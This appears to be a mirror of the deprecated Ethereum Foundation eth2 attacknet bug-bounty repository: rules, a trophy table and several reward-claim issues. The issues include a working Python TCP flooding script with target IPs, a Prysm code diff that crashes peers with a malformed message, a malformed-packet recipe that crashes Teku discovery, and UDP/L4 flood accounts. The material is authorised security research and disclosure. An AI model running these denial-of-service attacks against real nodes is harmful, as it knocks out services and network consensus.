GithubHelp home page GithubHelp logo

public-attacknets's Introduction

[DEPRECATED] Public eth2 attacknets

Note: This attacknet program has been deprecated in favor of the more general eth2 bounty program. All previous bounty types in this repo qualify in the new program. Please use [email protected] for responsible disclosure.

All previous trophies will be ported to the long standing eth2 bounty program.

This repository tracks public "attacknets" maintained by the EF.

[DEPRECATED] Multi-client beta-1 attacknet

A multi-client beta-1 attacknet composed of three clients is up with multiple tiers of bounties (up to $15k!). Read more for details about configuration, rules, and rewards.

Attacknet directory structure

Each attacknet is contained within it's own sub-directory within ./attacknets.

Within the attacknet directory, a README.md is provided with human readable, high-level configuration as well as the rules and any rewards associated with the attacknet.

The attacknet directory also provides configuration files that might be useful in running clients and connecting to the network.

  • prysm_config.yaml -- is a YAML configuration file that can be ingested by the Prysm client via the --chain-config-file commandline flag
  • teku_config.yaml -- is a YAML configuration file that can be ingested by the Teku client via the --network commandline flag
  • lighthouse -- is the testnet configuration directory that can be ingested by the Lighthouse client via the --testnet-dir commandline flag

General rules

In addition to attacknet specific rules provided for in each attacknet. The following are the general rules for the program. [Note: This program is in beta-0 and all rules are subject to change without prior notice].

  • The Ethereum Foundation is solely responsible for judging the attack and deciding on rewards
  • The Ethereum Foundation may reward "honorable mention" rewards of any denomination for interesting effects induced on testnets that do not necessarily meet the stated goal
  • Awards can be redeemed in ETH or DAI
  • Eth2 client teams are eligible to participate only on attacknets that do not contain their specific client

How to report

All claims on attacknet rewards must be reported as an issue in this repo.

Please follow this reporting structure to aid in prompt review:

  • If succeeded in a testnet goal and want to make a claim on the reward, prefix the name of the Issue/PR with "[{ATTACK_NET_NAME} Reward]" Use this template for convenience.

  • If want to share something interesting achieved outside of the goal, prefix the name of the Issue/PR with "[{ATTACK_NET_NAME} Issue]" Use this template for convenience.

  • Use the following structure for the body of the Issue/PR

    • Description: High-level description of the attack [1 sentence]

    • Attack scenario: More detailed description of the attack scenario and how it was carried out [1 to 3 sentences]

    • Impact: Describe the effect had on the attacknet [1 to 2 sentences]

    • Details: Very specific details about the attack including the specific slots/epochs where it can be observed

Privacy

The Ethereum Foundation is not responsible for any private information that might be leaked as a result of this program.

In the event that the reporting of an attack does leak private information (e.g. logs from a testnet containing IP addresses), we ask that you withhold any such information in the public report. Instead, please note that there are additional accompanying resources to be shared, and the attacknet evaluators will be in touch.

Important legal information

We give explicit permission to attack these attacknets over the internet.

This attacknet program is an experimental and discretionary rewards program for our active Ethereum community to encourage and reward those who are helping to improve the platform. It is not a competition. You should know that we can cancel the program at any time, and rewards are at the sole discretion of Ethereum Foundation. In addition, we are not able to issue rewards to individuals who are on sanctions lists or who are in countries on sanctions lists (e.g. North Korea, Iran, etc). You are responsible for all taxes. All rewards are subject to applicable law. Finally, your testing must not violate any law or compromise any data that is not yours.

Getting started

Running clients with custom config files

For each attacknet, a README.md and configuration files are provided to allow for easy running of clients. Note that a prysm_config.yaml, teku_config.yaml, and lighthouse directory are provided for each testnet regardless of the constituent clients making up the testnet. These are configuration files that you can use to run lighthouse, prysm, and/or teku on each testnet.

To run lighthouse, in addition to normal configuration commandline flags, use the following:

  • --testnet-dir {LIGHTHOUSE_TESTNET_DIR} where LIGHTHOUSE_TESTNET_DIR is the lighthouse directory found within the specific attacknet

To run prysm, in addition to normal configuration commandline flags, use the following:

  • --chain-config-file {PRYSM_CONFIG_FILE} where PRYSM_CONFIG_FILE is the prysm_config.yaml file found within the specific attacknet
  • --deposit-contract {DEPOSIT_CONTRACT_ADDR} where DEPOSIT_CONTRACT_ADDR is the 0x prefixed deposit contract address found in the specific attacknet README.md
  • --contract-deployment-block {DEPOSIT_CONTRACT_DEPLOY_NUMBER} where DEPOSIT_CONTRACT_DEPLOY_NUMBER is the block number at which the deposit contract was deployed, found in the attacknet README.md
  • --custom-genesis-delay {GENESIS_DELAY} where GENESIS_DELAY is the genesis delay param found in the attacknet README.md

To run teku, in addition to normal configuration commandline flags, use the following:

  • --network {TEKU_CONFIG_FILE} where TEKU_CONFIG_FILE is the teku_config.yaml file found within the specific attacknet
  • --eth1-deposit-contract-address {DEPOSIT_CONTRACT_ADDR} where DEPOSIT_CONTRACT_ADDR is the 0x prefixed deposit contract address found in the specific attacknet README.md

Rumor -- Eth2 interactive shell

@protolambda maintains rumor, an eth2 interactive shell for dynamically interacting with eth2 networks and data.

Check out the rumor README for basic documentation. We expect this tool to be invaluable in getting started, understanding networks, and constructing attacks.

Trophies πŸ†

Here we immortalize, for all time, the successful attacks conducted by 1337 h4x0rz.

You, too, can achieve perpetual fame and glory. Read some code, run some nodes, and break some nets.

User Attacknet Attack Reward
@jrhea prysm-attack-0 DoS Attack on Prysm via Golang stdlib exploit stops finality $5k (USD)
@holiman prysm-attack-0 Remote crash nodes over p2p $5k (USD) No reward, EF Security Team
@AlexSSD7 prysm-attack-0 L4 Distributed Denial of Service attack stops finality $5k (USD)
@jrhea teku-attack-0 DoS Attack on Teku Stops Finality $5k (USD)
@jrhea lighthouse-attack-0 Network agent crashes lighthouse discovery $1k (USD)
@tintinweb teku-attack-0 DoS Attack on Teku via gossipsub $5k (USD)
@atoulme teku-attack-0 DoS Attack: UDP random 46 bytes packets $5k (USD)
@atoulme teku-attack-0 Crash discovery service with malformed WHOAREYOU packet $5k (USD)

Deprecated attacknets

Single-client beta-0 attacknets

beta-0 attacknets are deprecated. All nodes are have been disabled and attacks/rewards are no longer eligible.

public-attacknets's People

Contributors

ben-wing avatar djrtwo avatar jrhea avatar terencechain avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

public-attacknets's Issues

[prysm-attack-0 Reward] L4 Distributed Denial of Service attack ruins the P2P connectivity and stops finality

Description

Prysm nodes are vulnerable to L4 DDoS attacks. The attacker can stop finality for any amount of time.

Attack scenario

There are 4 nodes on this network, and I've rented 4x10 DigitalOcean droplets and started the L4 DoS utility on each of them. It was enough to break the whole network P2P connectivity.

Impact

The nodes were unable to normally communicate with each other. As a result, new nodes were unable to sync, and validators submit their attestations.

Details

Attack period: 2109-2125 epochs

Attack requirements

  • Simple L4 DoS utility (code)
  • Script to rent and orchestrate servers.

Attack log

[2020-07-29 12:39:02] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:02] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:02] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:39:02]  INFO sync: Requesting parent block currentSlot=67660 parentRoot=17fa5b2bb063
[2020-07-29 12:39:12] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:13]  INFO sync: Requesting parent block currentSlot=67681 parentRoot=87e4fe87c0c6
[2020-07-29 12:39:17] ERROR sync: Could not process block from slot 67489: could not process block: could not execute state transition: could not process slot: expected state.slot 67496 < slot 67489
[2020-07-29 12:39:17]  INFO sync: Requesting parent block currentSlot=67490 parentRoot=70f8a3e2f405
[2020-07-29 12:39:22] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:27] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:27] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:39:27]  INFO sync: Requesting parent block currentSlot=67590 parentRoot=86fd2d8d917f
[2020-07-29 12:39:32] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:35] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:37] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:37] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:39:37]  INFO sync: Requesting parent block currentSlot=67647 parentRoot=991909b26e61
[2020-07-29 12:39:40]  INFO sync: Requesting parent block currentSlot=67681 parentRoot=87e4fe87c0c6
[2020-07-29 12:39:46]  INFO sync: Requesting parent block currentSlot=67490 parentRoot=70f8a3e2f405
[2020-07-29 12:39:51] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:51] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:56] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:56] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:39:56] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:39:56]  INFO sync: Requesting parent block currentSlot=67590 parentRoot=86fd2d8d917f
[2020-07-29 12:40:01] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:01] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:06] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:06] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:40:06] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:06]  INFO sync: Requesting parent block currentSlot=67646 parentRoot=2914e3534f4f
[2020-07-29 12:40:11] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:16] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:16] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:40:16]  INFO sync: Requesting parent block currentSlot=67681 parentRoot=87e4fe87c0c6
[2020-07-29 12:40:19] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:21] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:25] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:26] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:26] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:40:26]  INFO sync: Requesting parent block currentSlot=67490 parentRoot=70f8a3e2f405
[2020-07-29 12:40:30] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:31] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:35] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:36] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:36] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:40:36]  INFO sync: Requesting parent block currentSlot=67590 parentRoot=86fd2d8d917f
[2020-07-29 12:40:40] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:41] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:45] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:46] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:46] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:40:46]  INFO sync: Requesting parent block currentSlot=67646 parentRoot=2914e3534f4f
[2020-07-29 12:40:50] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:51] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:55] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:56] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:40:56] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:40:56]  INFO sync: Requesting parent block currentSlot=67681 parentRoot=87e4fe87c0c6
[2020-07-29 12:41:00] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:01] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:05] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:05]  INFO sync: Requesting parent block currentSlot=67490 parentRoot=70f8a3e2f405
[2020-07-29 12:41:10] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:13]  INFO sync: Requesting parent block currentSlot=67590 parentRoot=86fd2d8d917f
[2020-07-29 12:41:15] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:18] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:20] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:23] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:23] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:41:23]  INFO sync: Requesting parent block currentSlot=67646 parentRoot=2914e3534f4f
[2020-07-29 12:41:25] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:28] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:30] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:35] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:40] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:42]  INFO sync: Requesting parent block currentSlot=67681 parentRoot=87e4fe87c0c6
[2020-07-29 12:41:45] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:47] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:50] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:52] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:52] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:41:52] ERROR sync: Could not process block from slot 67489: could not process block: could not execute state transition: could not process slot: expected state.slot 67496 < slot 67489
[2020-07-29 12:41:52]  INFO sync: Requesting parent block currentSlot=67490 parentRoot=70f8a3e2f405
[2020-07-29 12:41:55] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:41:57] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:00] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:02] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:02] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:42:02]  INFO sync: Requesting parent block currentSlot=67590 parentRoot=86fd2d8d917f
[2020-07-29 12:42:05] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:07] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:10] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:12] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached
[2020-07-29 12:42:12] ERROR sync: Could not send recent block request: i/o deadline reached
[2020-07-29 12:42:12]  INFO sync: Requesting parent block currentSlot=67643 parentRoot=67f04363b66f
[2020-07-29 12:42:17] ERROR sync: Unable to retrieve block from stream error=i/o deadline reached

Proofs




How to mitigate?

Prysm nodes should temporarily ban IPs that flood their P2P port with the garbage traffic.

Note:

Lighthouse and teku are likely vulnerable too.

[teku-attack-0 Reward] UDP random 46 bytes packets

Description

Random UDP packets of 46 bytes, sent over multiple UDP source ports, take down Teku.

Attack scenario

Note: I could not peer with the attacknet, and not sure which nodes are Teku. I ran locally the attack using the scripts/run.sh script from Teku.
I turned on discovery with Teku and attacked the UDP port by sending simultaneously 1000 UDP packets from 1000 local ports. Each packet is generated in advance and picked randomly out of 100 prepared 46 bytes long messages, so it's hard for Teku to recognize incoming traffic.
Teku depletes quickly its available RAM and falls behind on validators, eventually even losing peers.
The attack takes less than 10 seconds and may be amplified as a DDOS as needed.

Impact

The nodes lose all peers and run out of memory.

Details

See screenshot of the attack.
Screen Shot 2020-09-08 at 11 23 31 AM

[teku-attack-0 Reward] Crash discovery service with malformed WHOAREYOU packet

Description

Using a malformed RLP packet, we crash the discovery service of Teku permanently.

Attack scenario

  • We identify the public key of a Teku node, from which we compute its nodeId per discv5/ENR spec.
  • We craft a WHOAREYOU tag: sha256(dest-node-id || "WHOAREYOU")
  • We add 0xc1c0 as the body of the message, instead of the expected data.

Impact

  • Teku throws an exception while handling the invalid RLP.
  • Teku no longer responds to any packets hitting its discovery port.
  • No errors are thrown going forward and packets are received, but the discovery pipeline doesn't respond.

Details

This is a very simple attack to pull off, as it requires just one packet per node. It will not stop consensus right away.
It may be used to knock all Teku nodes off the network and eclipse other nodes.

Exception thrown by Teku:

ndle the exception.
reactor.core.Exceptions$ErrorCallbackNotImplemented: java.lang.ClassCastException: class org.web3j.rlp.RlpList cannot be cast to class org.web3j.rlp.RlpString (org.web3j.rlp.RlpList and org.web3j.rlp.RlpString are in unnamed module
 of loader 'app')
Caused by: java.lang.ClassCastException: class org.web3j.rlp.RlpList cannot be cast to class org.web3j.rlp.RlpString (org.web3j.rlp.RlpList and org.web3j.rlp.RlpString are in unnamed module of loader 'app')
        at org.ethereum.beacon.discovery.packet.WhoAreYouPacket.decode(WhoAreYouPacket.java:88) ~[discovery-0.3.8-dev-840e90be.jar:0.3.8-dev-840e90be]
        at org.ethereum.beacon.discovery.packet.WhoAreYouPacket.getAuthTag(WhoAreYouPacket.java:60) ~[discovery-0.3.8-dev-840e90be.jar:0.3.8-dev-840e90be]
        at org.ethereum.beacon.discovery.pipeline.handler.WhoAreYouSessionResolver.handle(WhoAreYouSessionResolver.java:47) ~[discovery-0.3.8-dev-840e90be.jar:0.3.8-dev-840e90be]
        at reactor.core.publisher.FluxPeekFuseable$PeekFuseableSubscriber.onNext(FluxPeekFuseable.java:189) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]
        at reactor.core.publisher.FluxPeekFuseable$PeekFuseableSubscriber.onNext(FluxPeekFuseable.java:203) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]
        at reactor.core.publisher.FluxPeekFuseable$PeekFuseableSubscriber.onNext(FluxPeekFuseable.java:203) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]
        at reactor.core.publisher.FluxReplay$SizeBoundReplayBuffer.replayNormal(FluxReplay.java:814) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]
        at reactor.core.publisher.FluxReplay$SizeBoundReplayBuffer.replay(FluxReplay.java:898) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]
        at reactor.core.publisher.ReplayProcessor.onNext(ReplayProcessor.java:442) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]
        at reactor.core.publisher.FluxCreate$IgnoreSink.next(FluxCreate.java:618) ~[reactor-core-3.3.7.RELEASE.jar:3.3.7.RELEASE]

[REQUEST FOR INFORMATION] Deployment of attacknet

Is it possible to share the way in which the attacknet has been deployed, including scripts to conveniently deploy private identical/similar test networks? We want to clone the full network to better try certain cases and have more insights into the behavior and debug messages of the validator nodes.

[prysm-attack-0 Reward] DoS Attack on Prysm Stops Finality (RE-POST)

Quick Note

The success of this attack was due to a 9 year old bug in the Go standard library. During the "post-mortem" @protolambda, @prestonvanloon, @raulk and I uncovered this bug and opted to responsibly disclose the details to the golang security team. See the link below for more details:

https://groups.google.com/forum/#!msg/golang-announce/NyPIaucMgXo/GdsyQP6QAAAJ

As a part of the responsible disclosure process, I opted to delete this issue until the vulnerability could be fixed and a security patch released. The following is the original description of the attack (unaltered). Enjoy!

Description

Prysm nodes are vulnerable to a DoS attack that prevents them from participating in consensus.

Attack scenario

Three out of four Prsym nodes were targeted by 2 AWS t2.small machines with a sustained DoS attack.

Impact

The effect that the DoS attack had on the attacknet was a prolonged loss finality; however, the network was able to recover to a healthy state within a few epochs once the attack stopped. The nodes under attack demonstrated high CPU usage, a large amount of outbound traffic, trouble finding peers in subnets and one node's local clock had a time disparity causing issues importing blocks.

Details

Attack Procedure

This is the code that the two machines ran to prevent finality on the attacknet

#!/usr/bin/python3
import threading
import socket
import time
import sys

def worker(id,ip,port):
    while True:
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((ip,port))
      print("Worker {} connected".format(id))
      packet = bytes([255]*65536)
      sock.send(packet)
      time.sleep(20)
      sock.close()

if __name__ == "__main__":
    ip=sys.argv[1]
    port=int(sys.argv[2])
    num_threads=int(sys.argv[3])

    threads = []
    for i in range(num_threads):
        thread = threading.Thread(target=worker, args=(i,ip,port))
        threads.append(thread)
        thread.start()

The code is run as follows:

./prysm_attack.sh [IP] [PORT] [NUM_THREADS]

Here is some sample output from the attack run:

$ ./prysm_attack.sh  3.236.241.28 9000 500
Worker 0 connected
Worker 1 connected
Worker 2 connected
Worker 3 connected
Worker 4 connected
Worker 5 connected
Worker 6 connected
Worker 7 connected
Worker 8 connected
Worker 9 connected
Worker 10 connected
...
Worker 499 connected

To execute the attack, I targeted the following IP addresses with three processes - two processes on one machine and one process on the other.

18.183.12.240
3.127.134.103
34.237.53.47

Each process spawned 500 threads that enter an infinite loop that perform the following steps:

  1. connect to Prysm node
  2. sends a ~65KB payload

Note: the attack definitely works with payloads xFF, xFE, ... , but x00 causes Prysm to disconnect

  1. sleep for 20 seconds.

Note: the amount of time to sleep acts as a ratelimiter and is somewhat arbitrary, but experimentally it was lower than the Prysm node's timeout I noticed when using netcat.

When developing this attack, the first thing I attempted to do was use the same command that crashed Teku. Unfortunately, sending output from /dev/zero caused Prysm to immediately disconnect. Eventually, I found other payloads that would allow the connection to stay open (see above), but sending a large number of small packets (like I did to Teku) didn't seem as effective on Prysm. I switched to Python so I could tune the ratio better and found that a smaller number of large packets was more effective against Prysm.

Bytes-out

Packets-out

Keep in mind that the goal here was to just take down the network so the attack was designed using a symptomatic approach (i.e. trial and error) with little regard for root cause analysis. That would have taken a lot more time to isolate runs, document them and compare performance to other clients.

One important thing to note is that this attack does NOT seem to be effective against Lighthouse.

Attack Log

The attack lasted from Epoch 1843 - 1864. I should have stopped at Epoch 1860, but the Beacon Chain Explorer for the Prysm Attacknet became unresponsive 1 slot before Epoch 1860. As a result, I had to start a local Prysm node to verify that the attack was successful. By the time the node sync'd up, the Beacon Chain Explorer was back online and the attack lasted over 20 epochs.

Here are some screenshots from https://prysm-attack-0.beaconcha.in/ at the end of the attack:

participation-rate

network-deadness

blocks

Here is a screenshot of my local node showing that finality was prevented for more than 16 epochs:

victory

Recovery

Prysm's recovery from the attack was interesting to watch. Here are some screenshots from https://prysm-attack-0.beaconcha.in/ after the network recovered:

participation-rate-recovery

epochs-recovery

Here is a screenshot of my local node showing that Prysm recovered about 2 epochs after the attack ended:

recovery-log

[prysm-attack-0 Reward] Remote crash nodes over p2p

Description

There is (was) a bug in Prysm that made it possible for an attacker to crash arbitrary remote nodes via p2p protocol.

Attack scenario

A bug in the prysm ssz decoder assumed a certain input size on block root messages, which caused a panic on malformed messages. It turns out that this message can be sent very early, and shut down any node we discover and connect to.

Impact

This attack could be used to shut down all prysm-based nodes on the network. It was not executed on the live network, but instead disclosed privately to @prestonvanloon and @djrtwo , and fixed in prysmaticlabs/prysm#6771 .

Details

There's a quirk in the prysm/beacon-chain ssz decoder (encoder/ssz.go)

func (e SszNetworkEncoder) doDecode(b []byte, to interface{}) error {
	if v, ok := to.(fastssz.Unmarshaler); ok {
		return v.UnmarshalSSZ(b)
	}
	err := ssz.Unmarshal(b, to)
	if err != nil {
		// Check if we are unmarshalling block roots
		// and then lop off the 4 byte offset and try
		// unmarshalling again. This is temporary to
		// avoid too much disruption to onyx nodes.
		// TODO(#6408)
		if _, ok := to.(*[][32]byte); ok {
			return ssz.Unmarshal(b[4:], to)
		}

If it reaches this path, expecting to parse a block root message, it blindly assumes that the
input is at least 4 bytes.

The diff below represents very naive attack which sends such a message at the first
possible time -- instead of sending whatever message it wanted to send, it sends a too-short such message, with a topic
that should trigger the dangerous path.

Here's the attack code:

diff --git a/beacon-chain/p2p/encoder/ssz.go b/beacon-chain/p2p/encoder/ssz.go
index 001ff674f..8b8e4758c 100644
--- a/beacon-chain/p2p/encoder/ssz.go
+++ b/beacon-chain/p2p/encoder/ssz.go
@@ -75,9 +75,11 @@ func (e SszNetworkEncoder) EncodeWithMaxLength(w io.Writer, msg interface{}) (in
 	if err != nil {
 		return 0, err
 	}
+	b = make([]byte, 3)
 	return writeSnappyBuffer(w, b)
 }

+
 func (e SszNetworkEncoder) doDecode(b []byte, to interface{}) error {
 	if v, ok := to.(fastssz.Unmarshaler); ok {
 		return v.UnmarshalSSZ(b)
@@ -89,6 +91,7 @@ func (e SszNetworkEncoder) doDecode(b []byte, to interface{}) error {
 		// unmarshalling again. This is temporary to
 		// avoid too much disruption to onyx nodes.
 		// TODO(#6408)
+		fmt.Printf("SszNetworkEncoder decoding dangerously, size %d\n", len(b))
 		if _, ok := to.(*[][32]byte); ok {
 			return ssz.Unmarshal(b[4:], to)
 		}
diff --git a/beacon-chain/p2p/sender.go b/beacon-chain/p2p/sender.go
index dd9d8fb3b..93bf9378d 100644
--- a/beacon-chain/p2p/sender.go
+++ b/beacon-chain/p2p/sender.go
@@ -2,6 +2,7 @@ package p2p

 import (
 	"context"
+	"fmt"

 	"github.com/libp2p/go-libp2p-core/network"
 	"github.com/libp2p/go-libp2p-core/peer"
@@ -18,9 +19,13 @@ func (s *Service) Send(ctx context.Context, message interface{}, baseTopic strin
 	if err := VerifyTopicMapping(baseTopic, message); err != nil {
 		return nil, err
 	}
+	// Never mind what we wanted to send, just ship the attack instead
+	baseTopic = RPCBlocksByRootTopic
+
 	topic := baseTopic + s.Encoding().ProtocolSuffix()
 	span.AddAttributes(trace.StringAttribute("topic", topic))

+
 	// Apply max dial timeout when opening a new stream.
 	ctx, cancel := context.WithTimeout(ctx, maxDialTimeout)
 	defer cancel()
@@ -35,6 +40,10 @@ func (s *Service) Send(ctx context.Context, message interface{}, baseTopic strin
 		return stream, nil
 	}

+	if baseTopic == RPCBlocksByRootTopic{
+		fmt.Printf("oh cool, we're sending blockbyroot topic to %v\n", pid.Pretty())
+	}
+
 	if _, err := s.Encoding().EncodeWithMaxLength(stream, message); err != nil {
 		traceutil.AnnotateError(span, err)
 		return nil, err

Startup script for the attacker (using the modded code)

~/go/src/github.com/prysmaticlabs/prysm/beacon-chain/beacon-chain --config-file prysm_config.yaml --datadir .   \
--peer /ip4/10.137.0.15/tcp/13000/p2p/16Uiu2HAmA7m8JWJR1zgMLwjUv9WaEFsRnrVgnwf22t72FEhgGtws \
--bootstrap-node="enr:-LK4QFbGwVUubLp8SsbBsakUqhVeNihazNXPJQ1DZMkRVB8yZOEkzfRoCVCi545L27XzPzvF09NO0Ie56isjSAZAf9cBh2F0dG5ldHOIAAAAAAAAAACEZXRoMpCmW0iXAAAAAP>
--p2p-udp-port 12001 --p2p-tcp-port 12002

Startup script for the victim (using master code)

./beacon-chain --config-file prysm_config.yaml --datadir . \
--verbosity debug

victim is started first, and goes through some deposit contract events. Then I start the attacker, and see this in the victim output:

020-07-29 22:34:23]  INFO p2p: Peer connected activePeers=3 direction=Outbound multiAddr=/ip4/98.238.148.22/tcp/13000/p2p/16Uiu2HAm8JguF9aEQ5SJene8cbcAoQKzKviocYmv8hEXz9v7mZLF
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=576 count=64 peer=16Uiu2HAmCorr1KscykspjPJvUxrFnop1ov4SDxMtfFy4VW4RFxPH start=10688 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=576 count=64 peer=16Uiu2HAm8JguF9aEQ5SJene8cbcAoQKzKviocYmv8hEXz9v7mZLF start=10240 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=576 count=64 peer=16Uiu2HAmRvAS3qnU29V2FUeWquJgnEJ8CRrwRcnpjHPZfsUrNTzR start=10304 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=512 count=64 peer=16Uiu2HAm8JguF9aEQ5SJene8cbcAoQKzKviocYmv8hEXz9v7mZLF start=10368 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=512 count=64 peer=16Uiu2HAmCorr1KscykspjPJvUxrFnop1ov4SDxMtfFy4VW4RFxPH start=10432 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=512 count=64 peer=16Uiu2HAmRvAS3qnU29V2FUeWquJgnEJ8CRrwRcnpjHPZfsUrNTzR start=10496 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=448 count=64 peer=16Uiu2HAm8JguF9aEQ5SJene8cbcAoQKzKviocYmv8hEXz9v7mZLF start=10560 step=1
[2020-07-29 22:34:24] DEBUG initial-sync: Requesting blocks capacity=448 count=64 peer=16Uiu2HAmCorr1KscykspjPJvUxrFnop1ov4SDxMtfFy4VW4RFxPH start=10624 step=1
panic: runtime error: slice bounds out of range [4:3]

goroutine 1127 [running]:
github.com/prysmaticlabs/prysm/beacon-chain/p2p/encoder.SszNetworkEncoder.doDecode(0xc00c54a000, 0x3, 0x82, 0x159b720, 0xc00f47e460, 0x0, 0x0)
